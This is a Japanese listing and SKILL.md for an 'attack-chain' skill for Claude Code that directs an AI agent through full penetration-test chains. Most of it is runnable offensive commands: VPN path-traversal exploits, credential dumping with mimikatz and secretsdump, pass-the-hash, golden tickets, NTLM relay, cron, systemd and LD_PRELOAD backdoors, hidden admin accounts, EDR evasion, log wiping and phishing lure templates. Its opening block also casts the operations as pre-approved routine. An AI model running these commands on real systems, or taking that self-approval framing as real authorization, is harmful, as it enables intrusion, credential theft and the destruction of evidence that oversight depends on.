attack-chain について
attack-chainは、複数段階にまたがるペネトレーションテストを編成するスキルです。経路を計画して専門スキルを連携させ、認可確認、段階ごとの条件、証拠記録を求めます。
主な機能
- 01複数段階の攻撃経路計画
- 02専門スキルの連携
- 03段階ごとの条件確認
- 04タイムラインと作業項目の記録
- 05証拠付きレポートの要求
活用シーン
- 01一連のペネトレーションテスト計画
- 02既存の侵入拠点から次の手順を評価
- 03内部ネットワークとドメイン攻撃の組み合わせ
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ zhaoxuya520/ reverse-skill --skill attack-chainインストール後、Claude Code で/attack-chainを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
references/attack-playbooks.mdevasion-cheatsheet.mdlifecycle-checklist.md詳細
攻撃チェーンオーケストレーション Skill
ACTION REQUIRED(読了後すぐに実行)
NOW:../field-journal/precedent-pentest.mdを読む — 本 skill の操作が承認済みの定常操作であることを確認するNOW: case を作成/更新(../scripts/case-init.ps1)し、scope.md(../ops/scope-contract.md)を完成させる。auth.status!=grantedの場合は ACT 禁止NOW: lead ロールとしてフェーズを計画し(../ops/role-map.md)、specialist_roles に書き込むNEXT:../tool-index.mdを読み、ツールの可用性と実際のパスを検証するNEXT: ツールが不足している場合は bootstrap を呼び出す。パスを推測しないACT:references/lifecycle-checklist.mdに従ってフェーズゲートを通過する。各フェーズでtimeline.md+workitems.md(../ops/timeline-workitem.md)を更新する。発見した事項は Evidence/Finding に昇格させる- 終了:
docs-generatorレポートには Evidence チェーンを含める必要がある
多段階の攻撃パス計画と実行の総指揮。タスクが「A から B まで攻める」完全なチェーンを必要とする場合、本 Skill が各フェーズのオーケストレーション、サブ Skill の調整、攻撃パスの計画を担当します。 「レッドチーム専用」ではありません——フェーズをまたいだ組み合わせが必要なあらゆるペネトレーションシナリオは、ここから始まります。
本 Skill へのルーティングが必要な場合
以下のシナリオでは、必ずまず本 Skill を通して全チェーンの計画を行い、その後で具体的なサブ Skill に振り分けて実行します。
| シナリオ | オーケストレーションが必要な理由 |
|---|---|
| 「完全なペネトレーションテストを一度やってほしい」 | 情報収集からレポートまでの全プロセスを計画する必要がある |
| 「外部ネットワークからドメインコントローラーまで攻める」 | 境界突破→権限昇格→横展開→AD という複数フェーズをまたぐ |
| 「HW 攻防演習」 | 完全な攻撃チェーン + ステルス性 + 痕跡消去が必要 |
| 「このターゲットの攻撃面を評価してほしい」 | 多次元の情報収集 + パス計画が必要 |
| 「webshell を1つ手に入れたが、次はどうするか」 | 現在の拠点から以降のパスを計画する必要がある |
| 「攻撃パスを計画してほしい」 | 明確にパスのオーケストレーションが必要 |
| 「この脆弱性からどこまで攻められるか」 | 脆弱性の連鎖的な悪用価値を評価する必要がある |
| 「Bug Bounty の継続的監視」 | 多段階フローの自動化が必要 |
| 「内部ネットワークペネトレーションの全フロー」 | 横展開 + 権限昇格 + ドメイン攻撃の組み合わせ |
| 「近接ペネトレーション方案」 | 物理アクセス + 内部ネットワークペネトレーションの組み合わせ |
| 「サプライチェーン攻撃パス」 | 組織をまたぐマルチホップ攻撃 |
| 「フィッシング + ポストエクスプロイト」 | 初期アクセス + 以降の悪用の組み合わせ |
単一フェーズのタスクは本 Skill を通す必要はありません:
- ポートスキャンだけを行う → 直接
pentest-tools/へ - SQL インジェクションだけを行う → 直接
pentest-tools/へ - APK リバースだけを行う → 直接
apk-reverse/へ - ドメインペネトレーションだけを行う → 直接
windows-ad/SKILL.mdへ
オーケストレーション原則
本 Skill の役割
用户提出多阶段任务
↓
attack-chain/SKILL.md(本文件)
↓ 规划攻击路径、确定阶段顺序
↓ 评估每阶段所需工具和方法
↓
分发到具体子 Skill 执行:
├── pentest-tools/ → 工具调用、漏洞利用
├── apk-reverse/ → 移动端渗透
├── js-reverse/ → Web 前端突破
├── reverse-engineering/ → 二进制分析
├── ida-reverse/ → 深度逆向
└── browser-automation/ → 自动化操作
↓
每阶段完成后回到本 Skill 评估下一步
↓
全部完成 → docs-generator 生成报告
パス計画のデシジョンツリー
拿到目标后:
1. 目标是什么?(Web/内网/云/移动/IoT)
2. 当前有什么?(外部视角/已有凭据/已有据点)
3. 最终目标是什么?(域控/数据/特定系统/证明影响)
4. 约束条件?(时间/隐蔽性/不可触碰的系统)
↓
根据以上信息规划最短路径
↓
一条路走不通 → 回到本 Skill 重新规划备选路径
完全な攻撃チェーンのフェーズ
一、情報収集フェーズ(Reconnaissance)
1.1 企業デジタル資産のマッピング
# 子公司关联域名发现
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt
# 合并去重
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
# 存活探测
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
# 端口扫描(全端口)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results
実戦のポイント:
- 企査査/天眼査で子会社リストを取得し、攻撃面を拡大する
- テスト環境(test.、dev.、staging.)や新規公開システムに注目する
- 証明書透明性ログ(crt.sh)で隠れたドメインを発見する
1.2 機密情報漏洩のハンティング
# GitHub 搜索
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password
# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini
# JS 文件中的 API Key
cat js_urls.txt | while read url; do
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done
高価値なターゲット:
- クラウドサービスの AK/SK(Alibaba Cloud、AWS、Azure)
- データベース接続文字列
- JWT 秘密鍵
- 内部 API ドキュメント
- VPN/踏み台サーバーの認証情報
1.3 従業員情報のプロファイリング
ソーシャルエンジニアリング辞書の生成ルール:
{姓名拼音}{年份} → zhangsan2024
{姓名首字母}{部门缩写} → zs_dev
{工号}@{域名} → [email protected]
{姓名}{常见后缀} → zhangsan@123, zhangsan!@#
情報源:
- 脈脈/LinkedIn の部門構成
- 企業公式アカウント/公式サイトのチーム紹介
- 採用情報(技術スタックの露出)
- 学術論文(メールアドレスの露出)
1.4 技術スタックのフィンガープリンティング
# Web 指纹
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json
# 特定框架探测
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
# CMS 识别
wpscan --url https://target.com --enumerate p,t,u
二、境界突破フェーズ(Initial Access)
2.1 Web 脆弱性の悪用(高頻度の突破ポイント)
| 脆弱性の種類 | 検出ツール | 悪用方法 |
|---|---|---|
| SQL インジェクション | sqlmap | データ抽出 → shell 書き込み → OS コマンド |
| SSTI | sstimap | テンプレートインジェクション → RCE |
| ファイルアップロード | 手動 + Burp | Webshell → リバース shell |
| デシリアライゼーション | ysoserial/marshalsec | Java/PHP/Python RCE |
| SSRF | 手動 | 内部ネットワーク探索 → クラウドメタデータ → AK/SK |
| 未認証アクセス | nuclei | Spring Actuator / Nacos / Redis |
| XSS → Cookie | xsstrike | 管理者セッションのハイジャック |
# SQL 注入自动化
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
# SSTI 检测
sstimap -u "https://target.com/search?q=test"
# Nuclei 批量扫描
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt
2.2 サプライチェーン攻撃
攻撃パス:
- ターゲットが使用しているサードパーティコンポーネント/サービスプロバイダーを特定する
- サプライヤーを攻撃してコード署名/更新配信の権限を取得する
- 正規の更新チャネルを通じて悪意あるペイロードを配信する
一般的な入口:
- オープンソースコンポーネントへの投毒(npm/pip/maven)
- SaaS サービスプロバイダーの API 悪用
- 外部委託人員の権限悪用
- 共有 IT サービスプロバイダーへの横展開
2.3 フィッシング攻撃
メールフィッシング:
主题模板:
- [紧急] VPN 证书即将过期,请立即更新
- [IT通知] 邮箱存储空间不足,请清理
- [HR] 2024年度绩效考核结果查询
- [财务] 报销系统升级,请重新登录确认
ペイロードの種類:
- Office マクロ文書(.docm/.xlsm)
- LNK ショートカット(PDF に偽装)
- HTML スマグリング(HTML Smuggling)
- ISO/IMG イメージ(MOTW を回避)
- OneNote 埋め込みスクリプト
OAuth フィッシング(2025 年の新トレンド):
- 悪意ある OAuth アプリを構築して権限を要求する
- ユーザーが認可するとメール/ファイルへのアクセス権限を取得する
- パスワード不要で、MFA を回避する
2.4 近接ペネトレーション(Physical Access)
| 手法 | ツール | 効果 |
|---|---|---|
| BadUSB | Rubber Ducky / WiFi Ducky | キーボードインジェクション → リバース shell |
| 悪意あるモバイルバッテリー | O.MG Cable | データケーブルに偽装してバックドアを設置 |
| WiFi フィッシング | Fluxion / WiFi Pineapple | 偽ホットスポット → 認証情報のキャプチャ |
| RFID クローン | Proxmark3 | 入退室カードの複製 → 物理侵入 |
| ネットワーク設置 | Raspberry Pi / LAN Turtle | 内部ネットワークへの持続的アクセスポイント |
# Fluxion WiFi 钓鱼
fluxion # 交互式选择目标 AP → 创建伪造热点 → 捕获 WPA 密码
# BadUSB 联动 Cobalt Strike
# 通过 USB 注入 PowerShell 下载器 → 上线 C2
2.5 VPN/リモートアクセスの突破
# Pulse Secure VPN(CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# Fortinet VPN(CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
# 通用:密码喷洒
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post
2.6 クラウドサービスの突破
# AWS S3 桶枚举
aws s3 ls s3://target-bucket --no-sign-request
# 云元数据 SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure AD 密码喷洒
# 使用 MSOLSpray / Spray 工具
三、権限昇格フェーズ(Privilege Escalation)
3.1 Windows 権限昇格
| 技術 | 条件 | ツール |
|---|---|---|
| Potato シリーズ | SeImpersonate 権限 | SweetPotato / GodPotato / PrintSpoofer |
| カーネル脆弱性 | 未パッチ | watson / wesng で検出 |
| サービスパスのハイジャック | 引用符なしのサービスパス | PowerUp |
| DLL ハイジャック | 書き込み可能な DLL 検索パス | Process Monitor |
| AlwaysInstallElevated | レジストリ設定 | msiexec で悪意ある MSI をインストール |
| スケジュールタスク | 書き込み可能なタスクスクリプト | schtasks で置換 |
# 检测 SeImpersonate
whoami /priv | findstr "SeImpersonate"
# Potato 提权
.\GodPotato.exe -cmd "cmd /c whoami"
# 自动化检测
.\winPEAS.exe
3.2 Linux 権限昇格
# SUID 检测
find / -perm -4000 -type f 2>/dev/null
# sudo 滥用
sudo -l
# 常见可利用:vim, find, python, nmap, less, awk, perl
# sudo vim 提权
sudo vim -c ':!/bin/bash'
# sudo find 提权
sudo find / -exec /bin/bash \;
# 内核漏洞
uname -r # 检查版本
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)
# 自动化检测
./linpeas.sh
3.3 データベース権限昇格
-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MySQL UDF 提权
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';
3.4 クラウド権限昇格
# AWS IAM 枚举
aws iam list-attached-user-policies --user-name compromised-user
# 寻找 iam:PassRole + lambda:CreateFunction → 管理员权限
# Azure AD
# 全局管理员 → 所有订阅控制
# 应用管理员 → 添加凭据到服务主体
四、横展開フェーズ(Lateral Movement)
4.1 認証情報の取得
# Mimikatz(Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
# Linux 凭据
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;
# NTLM Hash 提取
secretsdump.py domain/user:password@dc_ip
4.2 Pass-the-Hash / Pass-the-Ticket
# PTH 横向
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# 金票据
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt
4.3 ステルスな横展開技術
# WMI 无文件执行
wmiexec.py domain/admin:password@target_ip "whoami"
# DCOM 远程执行
dcomexec.py domain/admin:password@target_ip "whoami"
# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
# PsExec(会留痕)
psexec.py domain/admin:password@target_ip
# SSH 隧道(Linux 环境)
ssh -D 1080 user@pivot_host # SOCKS 代理
ssh -L 3389:internal_host:3389 user@pivot_host # 端口转发
4.4 NTLM Relay
# 关闭 Responder 的 SMB/HTTP
# 编辑 Responder.conf: SMB = Off, HTTP = Off
# 启动 Responder 捕获
responder -I eth0
# NTLM Relay 到目标
ntlmrelayx.py -tf targets.txt -smb2support
# Coercer 强制认证
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip
4.5 AD 攻撃パス
# BloodHound 数据收集
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
# 常见攻击路径:
# 1. 用户 → GenericAll → 目标用户 → 重置密码
# 2. 用户 → WriteDacl → 目标 OU → 添加权限
# 3. 计算机 → 约束委派 → 模拟任意用户
# 4. 用户 → DCSync 权限 → 导出所有 Hash
# Certipy AD CS 攻击
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate
五、権限維持フェーズ(Persistence)
5.1 Windows の永続化
| 技術 | ステルス性 | 検出難易度 |
|---|---|---|
| スケジュールタスク | 中 | 低 |
| レジストリ Run キー | 低 | 低 |
| WMI イベントサブスクリプション | 高 | 高 |
| DLL ハイジャック | 高 | 中 |
| シャドウアカウント | 中 | 中 |
| Golden Ticket | 極高 | 極高 |
| DSRM バックドア | 極高 | 極高 |
# WMI 事件订阅(高隐蔽)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "CoreFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# 影子账户
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# 修改注册表 F 值克隆 RID
5.2 Linux 永続化
# SSH 密钥植入
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
# Crontab 后门
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
# LD_PRELOAD 劫持
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
# PAM 后门
# 修改 pam_unix.so 添加万能密码
# Systemd 服务
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
5.3 クラウド環境での永続化
# AWS Lambda 后门
# 创建定时触发的 Lambda 函数,回连 C2
# Azure AD 应用注册
# 创建应用 → 添加密钥凭据 → 授予 Graph API 权限
# 容器后门
# 修改基础镜像 → 所有新容器自带后门
六、EDR/AV バイパス(Evasion)
6.1 バイパスの核心的アプローチ
| レイヤー | 技術 | 説明 |
|---|---|---|
| 静的検出 | 暗号化/難読化/カスタムローダー | シグネチャマッチングを回避 |
| 挙動検出 | 間接システムコール/Unhooking | API Hook をバイパス |
| メモリ検出 | モジュールスタンピング/ヒープ暗号化 | メモリスキャンを回避 |
| ネットワーク検出 | ドメインフロンティング/正規サービスへのトンネリング | 正常なトラフィックに混入 |
| ログ検出 | ETW Patching/ログ消去 | 痕跡を低減 |
6.2 実用的なバイパス技術
1. Shellcode 加载器自定义(不用公开工具)
2. 系统调用直接调用(绕过 ntdll hook)
3. 进程注入选择低监控进程(如 RuntimeBroker.exe)
4. C2 流量走 HTTPS + 域前置 / Cloudflare Workers
5. 内存中执行,不落盘(Fileless)
6. 利用合法签名程序加载(LOLBins)
6.3 C2 フレームワークの選択
| フレームワーク | 特徴 | 適したシナリオ |
|---|---|---|
| Cobalt Strike | 成熟して安定、チーム連携 | 大規模レッドチーム作戦 |
| Sliver | オープンソース、Go 製 | 予算が限られる場合 |
| Havoc | モダン、モジュール式 | カスタマイズが必要な場合 |
| Mythic | マルチエージェント対応 | クロスプラットフォーム |
| AdaptixC2 | Kali 2026.1 に収録 | 迅速なデプロイ |
七、痕跡消去(Anti-Forensics)
# Windows 日志清除
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Linux 日志清除
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w
# 时间戳修改
touch -t 202301010000 /path/to/file
# 内存清理
# 确保 Mimikatz dump 已删除
# 确保 C2 beacon 已退出
# 确保临时文件已清除
レッドチーム作戦の鉄則
三つの底线
- すべての操作は書面による許可を取得すること
- データの持ち出しは匿名化処理を行うこと
- すべての攻撃痕跡を消去すること(メモリ常駐を含む)
行動規範
- 各操作の前にリスクレベルを評価する(低/中/高/重大)
- 高リスク操作の前にプロジェクトマネージャーへ通知する
- 操作ログを保持する(時刻、動作、結果)
- 高リスク脆弱性を発見したら直ちに報告し、悪用を拡大しない
- 業務の可用性に影響を与えない(DoS 禁止)
- 実ユーザーのデータにアクセス/ダウンロードしない
典型的な失敗事例
| 失敗原因 | 結果 | 教訓 |
|---|---|---|
| Mimikatz のメモリダンプを消去しなかった | ブルーチームが攻撃経路を完全に追跡 | 操作後すぐに消去する |
| C2 ドメインが脅威インテリジェンスにマークされた | 初回接続でブロックされた | 新規登録ドメイン+ドメインフロンティングを使用する |
| フィッシングメールが DLP アラートを発報 | ブルーチームが事前に警告 | メールゲートウェイのルールをテストする |
| 横展開がハニーポットを発動 | 攻撃意図が露見 | まずハニーポットを識別してから行動する |
ツール早見表
情報収集
subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan
脆弱性の悪用
nuclei sqlmap sstimap xsstrike burpsuite metasploit
権限昇格
winPEAS linpeas GodPotato PrintSpoofer watson
横展開
mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm
C2 フレームワーク
cobalt-strike sliver havoc mythic adaptixc2
近接侵入
fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple
本パッケージの他の Skill との関係
| ニーズ | ルーティング先 |
|---|---|
| Web 脆弱性の深掘り悪用 | pentest-tools/SKILL.md |
| 内部ネットワーク AD 攻撃の詳細手順 | windows-ad/SKILL.md |
| マルウェア検体のリバース分析 | reverse-engineering/SKILL.md |
| APK リバース(モバイルペネトレーション) | apk-reverse/SKILL.md |
| JS フロントエンドの署名バイパス | js-reverse/SKILL.md |
| 自動化された集団ペネトレーション | Pentest Swarm AI(pentestswarm scan --swarm) |
| AI 支援ペネトレーション | mcp-kali-server / metasploitmcp / hexstrike-ai |
| レポート生成 | docs-generator/SKILL.md |
| 攻撃経路図 | diagram-generator/SKILL.md |
タスク完了セルフチェック(完了を主張する前に MUST 合格)
- ワークフロー内の各ステップを(読むだけでなく)実行しましたか?
-
tool-indexに基づいて実際のツールパスを使用しましたか? - 再現可能な証拠(コマンド/スクリプト/スクリーンショット/レポート)を出力しましたか?
- RULES が要求する Checklist 項目を完了し、書き戻しましたか?